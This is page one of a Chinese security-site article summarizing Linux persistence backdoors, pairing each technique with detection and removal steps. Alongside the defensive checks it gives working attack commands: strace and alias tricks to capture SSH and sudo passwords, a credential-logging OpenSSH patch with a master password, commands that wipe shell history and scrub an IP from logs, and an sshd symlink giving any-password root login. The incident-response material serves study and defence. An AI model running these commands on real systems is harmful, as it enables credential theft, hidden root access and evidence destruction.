欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Linux、Windows权限维持常用后门学习总结

来源:本站整理 作者:佚名 时间:2019-03-12 TAG: 我要投稿

在上周做的变种DDG挖矿木马-watchdogs应急响应中,攻击者使用了预加载来劫持ps、top等系统命令,没有提及具体的排查手段,借着这篇文章来详细解释下,并总结下Linux、Windows下权限维持中被常用的后门技术,借此来学习下。
PS: 所有技术细节都来源于网上文章,如有错误,还望大佬不吝指正!
0x01 Linux
常见的bash、脚本语言、计划任务、公钥、msf以及rootkit等就不详细介绍了,有些像suid、inetd比较久远的,虽然不常用,但是学习下也没啥坏处。
1. 预加载型动态链接库后门
linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这就是为什么在watchdogs挖矿木马中使用top、ps等命令无法发现挖矿进程的原因,这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。
利用LD_PRELOAD
检测
echo $LD_PRELOAD#默认无输出,如果有输出就需要去看下文件是否为异常文件了
清除
unset LD_PRELOAD#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库
利用/etc/ld.so.preload
检测
1、文件完整性检测修改了默认的动态链接库后文件完整性发生变化,可以使用rpm等来校验首先获取系统中的动态链接器的文件路径(interp段指定了动态链接器的位置)readelf -a /bin/ps | grep interpreter然后判断该动态链接器文件的完整性busybox ls -al /usr/local/lib/libioset.sorpm -Vf /usr/local/lib/libioset.so2、使用stracestrace可以跟踪一个进程执行时所产生的系统调用,包括参数,返回值,执行消耗的时间和所接收的信号strace -f -e trace=file /bin/ps-f 表示同时跟踪fork和vfork出来的进程-e trace=file 表示只跟踪有关文件操作的系统调用
清除
清除调用的对应恶意文件即可
2. strace后门
上面提到使用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,所以strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。
首先找到sshd的进程PID
ps -ef | grep sshd #父进程PID
然后写入文件
strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048
同样的,可以通过配置用户目录下.login配置获取ssh明文密码
#vim /etc/bashrcalias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'#su,sudo同样的道理
检测
查看shell的配置文件或者alias命令即可发现,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias
3. SSH 后门
OpenSSH后门
通过在openssh源码中插入恶意代码并进行重新编译来替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。在openssh目录中找到includes.h文件。
#vim includes.hint secret_ok;FILE *f;#define ILOG "/tmp/.ilog"       #记录登录到本机的用户名和密码#define OLOG "/tmp/.olog"       #记录本机登录到远程的用户名和密码#define SECRETPW "secpulse.com" #为自己的登录密码#endif /* INCLUDES_H */#编译,重启服务yum install -y openssl openssl-devel pam-devel zlib zlib-devel./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5make cleanmake && make installsystemctl restart sshd.service
PS: 如果记录日志放在web下,记得清理掉访问日志。
export HISTFILE=/dev/nullexport HISTFILESIZE=0sed -i '/192.168.2.11/d' /etc/httpd/logs/access_log*sed -i '/192.168.2.11/d' /root/.bash_historyecho > /root/.bash_history
检测
1、查看Openssh版本ssh -V2、查看ssh配置文件和/usr/sbin/sshd的时间stat /usr/sbin/sshd#时间和版本都是可以修改的,所以不靠谱3、查看日志more /var/log/secure | grep "Accepted" | awk '{print $11}' | uniq4、通过strace监控sshd进程读写文件的操作ps axu | grep sshd | grep -v grep #sshd父进程IDstrace -o sshd -ff -p 2908grep open sshd* | grep -v -e No -e null -e denied| grep WR5、一般的openssh后门都会将账户密码记录到文件或者发送到邮箱中strings /usr/sbin/sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'strings /usr/sbin/sshd |grep '@'
清除
重装或者更新到最新版本修改文件并重新编译
sshd软链接后门
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名(如: /tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
1、服务端执行
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
2、客户端执行
ssh root@x.x.x.x -p 12345#输入任意密码就可以root用户权限登陆了,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆,比如:ubuntu
检测
1、查看可疑端口netstat -antlp2、查看可执行文件ls -al /tmp/su
清除
1、禁止PAM认证vim /etc/ssh/sshd_configUsePAM no2、重载/etc/init.d/sshd reload
wrapper后门
首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载